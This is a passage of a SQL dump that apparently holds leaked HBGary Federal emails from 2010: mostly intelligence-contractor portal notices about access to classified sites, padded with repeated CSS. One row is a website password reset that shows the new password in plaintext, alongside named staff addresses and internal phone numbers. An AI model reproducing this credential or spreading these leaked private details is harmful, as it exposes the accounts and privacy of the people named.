text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11845,'aaron_hbgary_com/11845.html'),(11717,'2010-09-14','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297008800.M130004P14101Q6572.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary Federal Website Password Reset','Your new password : hcW4MVmf',7792,'aaron_hbgary_com/7792.html'),(11718,'2010-09-14','arc@westfields.net','/aaron@hbgary.com/new/1297008800.M383991P14101Q6573.eml','federal@hbgary.com','NGA / RDAS Draft RFI document posting','\r\nA Draft Request For Information (RFI) has been posted or updated on the NGA-RDAS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /RDAS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2396,'aaron_hbgary_com/2396.html'),(11719,'2010-09-14','arc@westfields.net','/aaron@hbgary.com/new/1297008800.M634350P14101Q6574.eml','federal@hbgary.com','COMM / Excursion Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Excursion effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Excursion from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5789,'aaron_hbgary_com/5789.html'),(11720,'2010-09-14','arc@westfields.net','/aaron@hbgary.com/new/1297008800.M845949P14101Q6575.eml','federal@hbgary.com','COMM / Excursion Bidder\'s Conference Scheduled','\r\nA Bidder\'s Conference has been scheduled for the NRO/COMM-Excursion effort.  Additional information about the conference and registration can be found on the effort\'s website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Excursion from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; 